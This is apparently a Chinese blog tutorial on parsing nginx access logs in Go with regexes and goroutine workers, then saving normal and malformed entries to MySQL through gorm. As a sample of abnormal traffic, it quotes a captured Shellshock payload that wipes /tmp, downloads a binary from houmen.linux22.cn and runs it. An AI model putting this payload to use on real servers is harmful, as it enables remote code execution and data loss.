Go语言实战-nginx日志处理
上一篇文章已经介绍了golang对mysql的简单操作,那现在处理好的nginx数据就存放到MySQL中。
nginx日志格式
// ip地址 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agent
// 87.26.2.130 - - [24/Oct/2020:14:40:21 +0800] "POST /editBlackAndWhiteList HTTP/1.1" 404 146 "-" "ApiTool"
对应的正则表达式
// 每行nginx格式:ip 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agentre := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] "([^\s]+) ([^\s]+) ([^\s]+?)" ([\d]{3}) ([\d]{1,9}) "([^"]*?)" "([^"]*?)"`
成功提取后,存放的结构体
type LogsInfo struct {Ip stringTime int64Method stringPath stringProtocol stringStatus intSize intReferer stringUserAgent string
}
这些是能按正常nginx格式提取的数据,但总有些不正的访问
156.96.155.229 - - [16/Nov/2020:17:34:42 +0800] "GET / HTTP/1.1" 200 3196 "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22"
看到下面这条语句,rm -rf,这不是想删库跑吗
echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh
对这些异常的访问,我们也要提取出来,正则如下
re1 := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] (.*)`
结构体
type LogsInfoException struct {Ip stringTime int64Other string
}
这两个结构体,对应MySQL数据库表
CREATE TABLE `logs_info` (`id` int(11) NOT NULL AUTO_INCREMENT,`ip` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`time` int(11) NOT NULL DEFAULT '0',`method` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`path` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`protocol` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`status` int(4) NOT NULL DEFAULT '0',`size` int(11) NOT NULL DEFAULT '0',`referer` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`user_agent` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=96262 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='nginx logs';
CREATE TABLE `logs_info_exception` (`id` int(11) NOT NULL AUTO_INCREMENT,`ip` varchar(24) COLLATE utf8_unicode_ci NOT NULL,`time` int(11) NOT NULL,`other` varchar(2048) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=4298 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
话不多说,直接上代码
package mainimport ("bufio""fmt""io""log""os""regexp""strconv""strings""time""github.com/jinzhu/gorm"_ "github.com/jinzhu/gorm/dialects/mysql"
)type LogsInfo struct {Ip stringTime int64Method stringPath stringProtocol stringStatus intSize intReferer stringUserAgent string
}type LogsInfoException struct {Ip stringTime int64Other string
}func main() {start := time.Now()// 连接数据库db, err := gorm.Open("mysql", "root:root@/test?charset=utf8&parseTime=True&loc=Local")defer db.Close()if err != nil {println("connection mysql fail")} else {println("connectiton mysql success")}// 设置全局表名禁用复数db.SingularTable(true)mq := make(chan string, 50) // 存放消息,用来给多个go程消费signal := make(chan bool, 2) // 读取文件结束标志// 注塑主进程,防止主进程exitforever := make(chan bool)// 起5个go程,解析nginx的mq,并存入到mysqlgo worker("worker1", mq, db)go worker("worker2", mq, db)go worker("worker3", mq, db)go worker("worker4", mq, db)go worker("worker5", mq, db)// 起一个go程,用来读取nginxgo task(mq, signal)// 主进程退出检测go func(signal chan bool, mq chan string, forever chan bool) {for {if len(signal) == 1 && len(mq) == 0 {forever <- true}}}(signal, mq, forever)// 优雅退出<-foreverfmt.Println("cost:", time.Since(start).Seconds(), "s")}// task
// read log file
// 日志文件一般都比较大,很难一次性读取到内存中
// 这里是一行一行读取,并将每一行string放入mq通道中
func task(mq chan string, signal chan bool) error {// read log filefilePath := "log/access.log"f, err := os.Open(filePath)defer f.Close()if err != nil {log.Panic(err)return err}buf := bufio.NewReader(f)count := 0for {if count > 1000 { // 加个条件方便测试数据量signal <- truereturn nil}line, _, err := buf.ReadLine()if err != nil {if err == io.EOF {signal <- truereturn nil}signal <- truereturn err}body := strings.TrimSpace(string(line))mq <- bodylog.Println("task: ", count)count += 1// 每次读取后,都检查一下mq通道的容量,如果容量达到一般,则sleep,将时间片交给其他go程// 达到容量的阈值,以及sleep的时间,要根据自己的电脑配置计算的出// 比如,处理10000个mq,就可以大概计算出处理1个mq所需要的的时间if len(mq) > 25 {time.Sleep(10 * time.Millisecond)}}
}// consumer
// parse and write
func worker(workerName string, mq chan string, db *gorm.DB) {count := 0for d := range mq {parse(d, db)count++log.Println(workerName, ": ", count)}
}// parse and write
func parse(str string, db *gorm.DB) {// 每行nginx格式:ip 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agentre := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] "([^\s]+) ([^\s]+) ([^\s]+?)" ([\d]{3}) ([\d]{1,9}) "([^"]*?)" "([^"]*?)"`reg := regexp.MustCompile(re)parseInfo := reg.FindStringSubmatch(str)// 匹配不到正常的格式,那么这条访问记录很可能有问题// 异常nginx处理if len(parseInfo) == 0 {re1 := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] (.*)`reg1 := regexp.MustCompile(re1)parseInfo1 := reg1.FindStringSubmatch(str)if len(parseInfo1) == 0 {return}t1, _ := time.Parse("02/Jan/2006:15:04:05 -0700", parseInfo1[2])infoException := LogsInfoException{Ip: parseInfo1[1],Time: t1.Unix(),Other: parseInfo1[3],}// 将异常的nginx日志写入logs_info_exception表db.Create(&infoException)return}t, _ := time.Parse("02/Jan/2006:15:04:05 -0700", parseInfo[2])status, _ := strconv.Atoi(parseInfo[6])size, _ := strconv.Atoi(parseInfo[7])//info := LogsInfo{Ip: parseInfo[1],Time: t.Unix(),Method: parseInfo[3],Path: parseInfo[4],Protocol: parseInfo[5],Status: status,Size: size,Referer: parseInfo[8],UserAgent: parseInfo[9],}// 将正常的nginx日志写入logs_info表db.Create(&info)}
注意这里,这就是go语言的魅力,虽然只起了五个worker解析以及写入MySQL,对mysql来说还是处于高并发状态,这可是一个很好的处理mysql高并发的机会,自由发挥了
// 起5个go程,解析nginx的mq,并存入到mysql
go worker("worker1", mq, db)
go worker("worker2", mq, db)
go worker("worker3", mq, db)
go worker("worker4", mq, db)
go worker("worker5", mq, db)// 起一个go程,用来读取nginx
go task(mq, signal)
项目代码已放码云
Go语言实战-nginx日志处理相关推荐
- CentOS 7.2下ELK分析Nginx日志生产实战(高清多图)
注:本文系原创投稿 本文以api.mingongge.com.cn域名为测试对象进行统计,日志为crm.mingongge.com.cn和risk.mingongge.com.cn请求之和(此二者域名 ...
- 【临实战】使用 Python 处理 Nginx 日志
有什么 有 14 台机器(意味着我们有 14 份日志) 一台可以连到这 14 太机器的机器(有Python 2.6) 要做什么 获取 14 台机器上某时间段内的包含某特征的日志,再取出其中的特定内容 ...
- spark 持久化 mysql_Spark 从零到开发(八)nginx日志清洗并持久化实战
本文将介绍如何清洗nginx日志并存储到mysql中,附带azkaban定时任务协作完成对access.log的清洗任务. 1. 查看nginx日志格式 cd /var/log/nginx [root ...
- 利用ELK分析Nginx日志生产实战(高清多图)
本文以api.mingongge.com.cn域名为测试对象进行统计,日志为crm.mingongge.com.cn和risk.mingongge.com.cn请求之和(此二者域名不具生产换环境统计意 ...
- (14.1)Nginx日志分析项目实战
文章目录 1.ngingx的日志格式 2.基于nginx日志的特点,分析nginx日志 1.ngingx的日志格式 nginx的日志格式:vim /etc/nginx/nginx.conf log_f ...
- 实战Nginx与PHP(FastCGI)的安装、配置与优化
实战Nginx与PHP(FastCGI)的安装.配置与优化 2012-03-15 14:06:12 标签:安装 优化 配置 FastCGI PHP 原创作品,允许转载,转载时请务必以超链接形式标明文 ...
- nginx日志中$request_time时间异常问题排查
女主宣言 nginx日志分为access_log和error_log,可以用于业务的访问统计.服务排障等.我们可以自定义设置log_format,来记录关注的各项指标.本文主要讲述了一次nginx日志 ...
- wordpress所属权限改为nginx_linux运维之logrotate日志轮替——对nginx日志进行轮替-linux运维...
linux系统上有一个非常好用的轮替服务--logrotate.通过这个服务,可以对日志文件进行轮替管理.当日志文件过大时,可以对其进行切割成多个小的日志文件,还可以对其进行压缩处理.nginx默认的 ...
- go语言视频教程_ go语言入门视频教程_go语言实战视频教程
许多人可能知道go语言的优点在哪里,但他们不知道go语言适合在哪里使用.通过学习go语言视频教程,可以清楚的知道go语言主要用于服务器端开发,其定位是用来开发"大型软件".学习go ...
- 视频教程-Go语言实战合集-Go语言
Go语言实战合集 毕业于清华大学,曾担任Google算法工程师,微软区块链领域全球最具价值专家,微软Tech Ed 大会金牌讲师. 精通C/ C++,Python ,Go语言,Sicikit-Lear ...
最新文章
- 有没有一只蜻蜓永远为你守候?
- 云炬Android开发报错处理教程 Gradle下载超时please configure the proxy settings either in IDE or Gradle
- storm 动态设置并发度
- CLR via C# 阅读 笔记
- 数据库管理工具DBeaverEE 22 for Mac企业版
- Qt 使用vs调试的方法
- 前端数据修改的两种方式
- 凸优化——对偶问题解题步骤
- bootstrapValidator.js文件里的提示语:设置为中文
- LTE入门之UE-Category
- Python爬取链家北京租房房价|保存为csv格式文件
- springboot RedisTemplate 提示没有双引号序列化失败问题
- [转载]Navicat12.1系列破解教程,Navicat12.1.16破解亲测有效!!
- 数据结构 在顺序表中头插及尾插的实现
- omap-l138烧写程序之 - 启动模式选择及确认
- Linux硬盘空间爆满后如何清理
- 数据通信原理_什么是数据通信?有什么特点?
- 编写Python语言,使用循环求解1到100之间数的偶数和
- 杨小玲,典型的南方全能原创歌手
- DVWA 之文件上传漏洞
热门文章
- coreseek java_coreseek 安装及使用方法详解
- 传奇衣服、翅膀、武器、怪物、NPC等外观代码计算方法与公式
- go 导出 html 报告(使用 hero 预编译 html 模板引擎)
- 概率论与数理统计浙大第五版 第一章 部分习题+R代码
- iphone越狱-------平刷回越狱前(未越狱)状态
- 【综合篇】Web前端性能优化原理问题
- 我的数据分析入门整理(一)
- 电视盒子刷鸿蒙系统,当贝市场亲测有效三款获取电视和盒子root权限的工具应用...
- 21天自学c语言漫画版,21天学通C语言第6版
- 开发一款AirPods或者Beats耳机查看电量的软件